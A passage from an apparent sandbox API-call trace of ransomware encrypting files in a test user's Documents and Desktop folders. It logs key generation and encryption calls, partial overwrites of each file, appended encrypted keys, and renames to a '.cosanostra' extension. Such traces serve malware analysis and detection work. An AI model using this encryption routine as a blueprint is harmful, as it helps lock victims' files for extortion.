"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ynmhkyknz3uknta7hj.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\YnMHKykNz3uKNTA7hJ.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ynmhkyknz3uknta7hj.rtf.cosanostra")) returned 1 [0097.992] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f398 | out: pbBuffer=0x251f398) returned 1 [0097.992] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f390*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f390*=0x30) returned 1 [0097.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\LjFxxdUT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ljfxxdut.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0097.993] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\LjFxxdUT.odp") returned 74 [0097.993] StrStrW (lpFirst="LjFxxdUT.odp", lpSrch=".txt") returned 0x0 [0097.994] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.994] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f354*=0x2800, lpOverlapped=0x0) returned 1 [0097.994] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.020] WriteFile (in: hFile=0x180, lpBuffer=0x251f394*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x251f394*, lpNumberOfBytesWritten=0x251f354*=0x4, lpOverlapped=0x0) returned 1 [0098.021] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f354*=0x30, lpOverlapped=0x0) returned 1 [0098.021] CloseHandle (hObject=0x180) returned 1 [0098.040] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\LjFxxdUT.odp.cosanostra") returned 85 [0098.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\LjFxxdUT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ljfxxdut.odp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\LjFxxdUT.odp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\ljfxxdut.odp.cosanostra")) returned 1 [0098.042] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f398 | out: pbBuffer=0x251f398) returned 1 [0098.042] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f390*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f390*=0x30) returned 1 [0098.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1cDOdXTn.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1cdodxtn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.042] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1cDOdXTn.pptx") returned 57 [0098.042] StrStrW (lpFirst="1cDOdXTn.pptx", lpSrch=".txt") returned 0x0 [0098.043] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.043] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f354*=0x2800, lpOverlapped=0x0) returned 1 [0098.044] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.044] WriteFile (in: hFile=0x15c, lpBuffer=0x251f394*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x251f394*, lpNumberOfBytesWritten=0x251f354*=0x4, lpOverlapped=0x0) returned 1 [0098.044] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f354, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f354*=0x30, lpOverlapped=0x0) returned 1 [0098.044] CloseHandle (hObject=0x15c) returned 1 [0098.044] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1cDOdXTn.pptx.cosanostra") returned 68 [0098.044] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1cDOdXTn.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1cdodxtn.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1cDOdXTn.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1cdodxtn.pptx.cosanostra")) returned 1 [0098.045] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f390 | out: pbBuffer=0x251f390) returned 1 [0098.045] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f388*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f388*=0x30) returned 1 [0098.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-Oazt9xCSx5zo72D.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-oazt9xcsx5zo72d.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-Oazt9xCSx5zo72D.xlsx") returned 65 [0098.046] StrStrW (lpFirst="-Oazt9xCSx5zo72D.xlsx", lpSrch=".txt") returned 0x0 [0098.047] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.048] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f34c*=0x2800, lpOverlapped=0x0) returned 1 [0098.048] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.048] WriteFile (in: hFile=0x15c, lpBuffer=0x251f38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x251f38c*, lpNumberOfBytesWritten=0x251f34c*=0x4, lpOverlapped=0x0) returned 1 [0098.048] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f34c*=0x30, lpOverlapped=0x0) returned 1 [0098.048] CloseHandle (hObject=0x15c) returned 1 [0098.048] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-Oazt9xCSx5zo72D.xlsx.cosanostra") returned 76 [0098.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-Oazt9xCSx5zo72D.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-oazt9xcsx5zo72d.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-Oazt9xCSx5zo72D.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-oazt9xcsx5zo72d.xlsx.cosanostra")) returned 1 [0098.049] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f390 | out: pbBuffer=0x251f390) returned 1 [0098.049] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f388*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f388*=0x30) returned 1 [0098.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-C0r.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-c0r.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.050] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-C0r.pptx") returned 53 [0098.050] StrStrW (lpFirst="-C0r.pptx", lpSrch=".txt") returned 0x0 [0098.051] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.051] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f34c*=0x2800, lpOverlapped=0x0) returned 1 [0098.051] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.051] WriteFile (in: hFile=0x15c, lpBuffer=0x251f38c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x251f38c*, lpNumberOfBytesWritten=0x251f34c*=0x4, lpOverlapped=0x0) returned 1 [0098.051] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f34c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f34c*=0x30, lpOverlapped=0x0) returned 1 [0098.051] CloseHandle (hObject=0x15c) returned 1 [0098.051] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-C0r.pptx.cosanostra") returned 64 [0098.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-C0r.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-c0r.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-C0r.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-c0r.pptx.cosanostra")) returned 1 [0098.052] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f388 | out: pbBuffer=0x251f388) returned 1 [0098.053] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f380*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f380*=0x30) returned 1 [0098.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.053] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f388 | out: pbBuffer=0x251f388) returned 1 [0098.053] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f380*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f380*=0x30) returned 1 [0098.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.054] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f380 | out: pbBuffer=0x251f380) returned 1 [0098.054] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f378*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f378*=0x30) returned 1 [0098.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Q5k4lNX_q_qGqgxfjcq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_q5k4lnx_q_qgqgxfjcq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.055] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Q5k4lNX_q_qGqgxfjcq.mp3") returned 66 [0098.055] StrStrW (lpFirst="_Q5k4lNX_q_qGqgxfjcq.mp3", lpSrch=".txt") returned 0x0 [0098.056] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.056] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f33c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f33c*=0x2800, lpOverlapped=0x0) returned 1 [0098.056] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.056] WriteFile (in: hFile=0x15c, lpBuffer=0x251f37c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f33c, lpOverlapped=0x0 | out: lpBuffer=0x251f37c*, lpNumberOfBytesWritten=0x251f33c*=0x4, lpOverlapped=0x0) returned 1 [0098.056] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f33c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f33c*=0x30, lpOverlapped=0x0) returned 1 [0098.056] CloseHandle (hObject=0x15c) returned 1 [0098.056] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Q5k4lNX_q_qGqgxfjcq.mp3.cosanostra") returned 77 [0098.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Q5k4lNX_q_qGqgxfjcq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_q5k4lnx_q_qgqgxfjcq.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Q5k4lNX_q_qGqgxfjcq.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_q5k4lnx_q_qgqgxfjcq.mp3.cosanostra")) returned 1 [0098.060] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f378 | out: pbBuffer=0x251f378) returned 1 [0098.060] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f370*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f370*=0x30) returned 1 [0098.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ WWO.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ wwo.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.060] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ WWO.swf") returned 51 [0098.060] StrStrW (lpFirst="_ WWO.swf", lpSrch=".txt") returned 0x0 [0098.061] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.061] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f334*=0x2800, lpOverlapped=0x0) returned 1 [0098.062] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.062] WriteFile (in: hFile=0x15c, lpBuffer=0x251f374*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x251f374*, lpNumberOfBytesWritten=0x251f334*=0x4, lpOverlapped=0x0) returned 1 [0098.062] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f334*=0x30, lpOverlapped=0x0) returned 1 [0098.062] CloseHandle (hObject=0x15c) returned 1 [0098.062] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ WWO.swf.cosanostra") returned 62 [0098.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ WWO.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ wwo.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ WWO.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ wwo.swf.cosanostra")) returned 1 [0098.063] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f378 | out: pbBuffer=0x251f378) returned 1 [0098.063] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f370*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f370*=0x30) returned 1 [0098.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z7mbMil6R f2GM6b7LBr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z7mbmil6r f2gm6b7lbr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.064] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z7mbMil6R f2GM6b7LBr.wav") returned 66 [0098.064] StrStrW (lpFirst="Z7mbMil6R f2GM6b7LBr.wav", lpSrch=".txt") returned 0x0 [0098.065] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffecb9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.065] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1347, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f334*=0x1347, lpOverlapped=0x0) returned 1 [0098.065] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.065] WriteFile (in: hFile=0x15c, lpBuffer=0x251f374*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x251f374*, lpNumberOfBytesWritten=0x251f334*=0x4, lpOverlapped=0x0) returned 1 [0098.065] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f334, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f334*=0x30, lpOverlapped=0x0) returned 1 [0098.065] CloseHandle (hObject=0x15c) returned 1 [0098.065] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z7mbMil6R f2GM6b7LBr.wav.cosanostra") returned 77 [0098.065] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z7mbMil6R f2GM6b7LBr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z7mbmil6r f2gm6b7lbr.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z7mbMil6R f2GM6b7LBr.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z7mbmil6r f2gm6b7lbr.wav.cosanostra")) returned 1 [0098.067] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f370 | out: pbBuffer=0x251f370) returned 1 [0098.067] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f368*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f368*=0x30) returned 1 [0098.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YUD6vo2RNQ_kQntI5n.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yud6vo2rnq_kqnti5n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.067] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YUD6vo2RNQ_kQntI5n.m4a") returned 64 [0098.067] StrStrW (lpFirst="YUD6vo2RNQ_kQntI5n.m4a", lpSrch=".txt") returned 0x0 [0098.068] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.068] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f32c*=0x2800, lpOverlapped=0x0) returned 1 [0098.068] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.069] WriteFile (in: hFile=0x15c, lpBuffer=0x251f36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: lpBuffer=0x251f36c*, lpNumberOfBytesWritten=0x251f32c*=0x4, lpOverlapped=0x0) returned 1 [0098.069] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f32c*=0x30, lpOverlapped=0x0) returned 1 [0098.069] CloseHandle (hObject=0x15c) returned 1 [0098.069] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YUD6vo2RNQ_kQntI5n.m4a.cosanostra") returned 75 [0098.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YUD6vo2RNQ_kQntI5n.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yud6vo2rnq_kqnti5n.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YUD6vo2RNQ_kQntI5n.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yud6vo2rnq_kqnti5n.m4a.cosanostra")) returned 1 [0098.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f370 | out: pbBuffer=0x251f370) returned 1 [0098.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f368*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f368*=0x30) returned 1 [0098.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJ22D9mKdUuvVWgYC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj22d9mkduuvvwgyc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.072] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJ22D9mKdUuvVWgYC.flv") returned 63 [0098.072] StrStrW (lpFirst="YJ22D9mKdUuvVWgYC.flv", lpSrch=".txt") returned 0x0 [0098.074] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.074] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f32c*=0x2800, lpOverlapped=0x0) returned 1 [0098.075] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.075] WriteFile (in: hFile=0x15c, lpBuffer=0x251f36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: 